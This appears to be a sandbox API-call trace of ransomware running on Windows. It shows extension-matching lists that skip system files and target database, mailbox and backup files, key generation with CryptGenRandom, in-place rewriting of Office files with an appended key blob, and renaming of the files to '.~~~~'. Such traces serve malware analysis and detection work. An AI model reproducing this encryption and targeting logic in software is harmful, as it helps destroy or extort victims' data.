	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.511] lstrlenW (lpString=".sys") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.511] lstrlenW (lpString=".msc") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.511] lstrlenW (lpString=".com") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".com") returned 0x0
	[0145.511] lstrlenW (lpString=".lnk") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.511] lstrlenW (lpString=".msp") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.511] lstrlenW (lpString=".pif") returned 4
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.511] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.511] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0145.513] lstrlenW (lpString=".sqb") returned 4
	[0145.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.513] lstrlenW (lpString=".ost") returned 4
	[0145.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.514] lstrlenW (lpString=".txt") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.514] lstrlenW (lpString=".mdt") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.514] lstrlenW (lpString=".BDB") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.514] lstrlenW (lpString=".eql") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.514] lstrlenW (lpString=".DBF") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.514] lstrlenW (lpString=".EQL") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.514] lstrlenW (lpString=".FDB") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.514] lstrlenW (lpString=".EDB") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.514] lstrlenW (lpString=".DACPAC") returned 7
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.514] lstrlenW (lpString=".VHD") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.514] lstrlenW (lpString=".DBV") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.514] lstrlenW (lpString=".dacpac") returned 7
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.514] lstrlenW (lpString=".sdf") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.514] lstrlenW (lpString=".accdb") returned 6
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.514] lstrlenW (lpString=".DBX") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.514] lstrlenW (lpString=".MDT") returned 4
	[0145.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.515] lstrlenW (lpString=".SQB") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.515] lstrlenW (lpString=".vhd") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.515] lstrlenW (lpString=".bac") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.515] lstrlenW (lpString=".mdf") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.515] lstrlenW (lpString=".BAK") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.515] lstrlenW (lpString=".BAC") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.515] lstrlenW (lpString=".dbs") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.515] lstrlenW (lpString=".vhdx") returned 5
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.515] lstrlenW (lpString=".NDF") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.515] lstrlenW (lpString=".dat") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.515] lstrlenW (lpString=".DBS") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.515] lstrlenW (lpString=".CKP") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.515] lstrlenW (lpString=".edb") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.515] lstrlenW (lpString=".PST") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.515] lstrlenW (lpString=".dbf") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.515] lstrlenW (lpString=".SQL") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.515] lstrlenW (lpString=".pst") returned 4
	[0145.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.516] lstrlenW (lpString=".dbv") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.516] lstrlenW (lpString=".SDF") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.516] lstrlenW (lpString=".dtxs") returned 5
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.516] lstrlenW (lpString=".db3") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.516] lstrlenW (lpString=".OST") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.516] lstrlenW (lpString=".dbx") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.516] lstrlenW (lpString=".DB3") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.516] lstrlenW (lpString=".DAT") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.516] lstrlenW (lpString=".VHDX") returned 5
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.516] lstrlenW (lpString=".ndf") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.516] lstrlenW (lpString=".DB") returned 3
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.516] lstrlenW (lpString=".sql") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.516] lstrlenW (lpString=".MYD") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.516] lstrlenW (lpString=".DBT") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.516] lstrlenW (lpString=".ACCDB") returned 6
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.516] lstrlenW (lpString=".fdb") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.516] lstrlenW (lpString=".bak") returned 4
	[0145.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.517] lstrlenW (lpString=".myd") returned 4
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.517] lstrlenW (lpString=".DTXS") returned 5
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.517] lstrlenW (lpString=".ckp") returned 4
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.517] lstrlenW (lpString=".dbt") returned 4
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.517] lstrlenW (lpString=".db") returned 3
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".db") returned 0x0
	[0145.517] lstrlenW (lpString=".TXT") returned 4
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.517] lstrlenW (lpString=".MDF") returned 4
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.517] lstrlenW (lpString=".bdb") returned 4
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.517] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.517] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.518] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.518] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.518] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26550856393) returned 1
	[0145.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc023f4f0, dwHighDateTime=0x1d60e1e)) 
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380388
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380388 | out: hHeap=0x300000) returned 1
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6bd0
	[0145.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.519] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.519] GetLastError () returned 0x0
	[0145.520] GetLastError () returned 0x0
	[0145.520] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.520] GetLastError () returned 0x0
	[0145.520] GetLastError () returned 0x0
	[0145.520] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.521] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.521] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.521] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.521] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.522] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.522] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.522] CloseHandle (hObject=0x104) returned 1
	[0145.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.522] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.~~~~")) returned 1
	[0145.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.524] GetLastError () returned 0x0
	[0145.525] RtlWakeConditionVariable () returned 0x365f70
	[0145.525] GetCurrentThreadId () returned 0x9f4
	[0145.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".scr") returned 0x0
	[0145.525] lstrlenW (lpString=".cmd") returned 4
	[0145.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".cmd") returned 0x0
	[0145.525] lstrlenW (lpString=".dll") returned 4
	[0145.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dll") returned 0x0
	[0145.525] lstrlenW (lpString=".bat") returned 4
	[0145.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".bat") returned 0x0
	[0145.525] lstrlenW (lpString=".cpl") returned 4
	[0145.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".cpl") returned 0x0
	[0145.525] lstrlenW (lpString=".sys") returned 4
	[0145.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".sys") returned 0x0
	[0145.635] lstrlenW (lpString=".msc") returned 4
	[0145.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".msc") returned 0x0
	[0145.635] lstrlenW (lpString=".com") returned 4
	[0145.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".com") returned 0x0
	[0145.639] lstrlenW (lpString=".lnk") returned 4
	[0145.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".lnk") returned 0x0
	[0145.640] lstrlenW (lpString=".msp") returned 4
	[0145.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".msp") returned 0x0
	[0145.640] lstrlenW (lpString=".pif") returned 4
	[0145.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".pif") returned 0x0
	[0145.640] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0145.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0145.642] lstrlenW (lpString=".sqb") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".sqb") returned 0x0
	[0145.642] lstrlenW (lpString=".ost") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".ost") returned 0x0
	[0145.642] lstrlenW (lpString=".txt") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".txt") returned 0x0
	[0145.642] lstrlenW (lpString=".mdt") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".mdt") returned 0x0
	[0145.642] lstrlenW (lpString=".BDB") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".BDB") returned 0x0
	[0145.642] lstrlenW (lpString=".eql") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".eql") returned 0x0
	[0145.642] lstrlenW (lpString=".DBF") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DBF") returned 0x0
	[0145.642] lstrlenW (lpString=".EQL") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".EQL") returned 0x0
	[0145.642] lstrlenW (lpString=".FDB") returned 4
	[0145.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".FDB") returned 0x0
	[0145.642] lstrlenW (lpString=".EDB") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".EDB") returned 0x0
	[0145.643] lstrlenW (lpString=".DACPAC") returned 7
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DACPAC") returned 0x0
	[0145.643] lstrlenW (lpString=".VHD") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".VHD") returned 0x0
	[0145.643] lstrlenW (lpString=".DBV") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".DBV") returned 0x0
	[0145.643] lstrlenW (lpString=".dacpac") returned 7
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".dacpac") returned 0x0
	[0145.643] lstrlenW (lpString=".sdf") returned 4
	[0145.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS", lpSrch=".sdf") returned 0x0
